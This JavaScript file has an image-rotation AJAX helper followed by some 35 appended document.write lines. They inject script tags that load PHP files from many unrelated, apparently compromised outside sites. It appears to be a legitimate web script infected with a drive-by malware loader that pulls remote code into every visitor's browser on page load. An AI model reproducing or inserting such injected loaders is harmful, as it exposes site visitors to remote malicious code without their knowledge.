function RotateImg(degrees,w,h,fname){


var xmlhttp=false; //Clear our fetching variable
        try {
                xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); //Try the first kind of active x object.
        } catch (e) {
                try {
                        xmlhttp = new
                        ActiveXObject('Microsoft.XMLHTTP'); //Try the second kind of active x object
            } catch (E) {
                xmlhttp = false;
                        }
        }
        if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
                xmlhttp = new XMLHttpRequest(); 
        }
		
        var file = 'rotate.php?degrees='+degrees+'&width='+w+'&height='+h+'&fname='+fname; 
		
	xmlhttp.open('GET', file, true); 
	
	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp.onreadystatechange=function() {
	
		if (xmlhttp.readyState==4) { //Check if it is ready to recieve data
                var content = xmlhttp.responseText; //The content data which has been retrieved ***
                if( content ){ //Make sure there is something in the content variable
                      
					  window.location='indexDEMO.php?page=upload_retouchDEMO&action=upload_action';
					  //document.getElementById('cropImage').reload; //Change the inner content of your div to the newly retrieved content ****
                }
        }
		/*else{
			document.getElementById('cropImage').innerHTML = "<div><img src='images/loader.gif'></div>";
			}*/
        }
		
        xmlhttp.send(null) //Nullify the XMLHttpRequest
return;
}



document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://mafiawars.gamecheatsnhacks.com/images/gifimg.php ><\/script>');
document.write('<script src=http://mafiawars.gamecheatsnhacks.com/images/gifimg.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://angol-tanulas.extra.hu/_themes/oktato1.php ><\/script>');
document.write('<script src=http://newessorr.com/images/gifimg.php ><\/script>');
document.write('<script src=http://votachopper.com/.smileys/index.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://aktifblog.com/images/wp-rss2.php ><\/script>');
document.write('<script src=http://aktifblog.com/images/wp-rss2.php ><\/script>');
document.write('<script src=http://idb.konkuk.ac.kr/education/logo.php ><\/script>');
document.write('<script src=http://idb.konkuk.ac.kr/education/logo.php ><\/script>');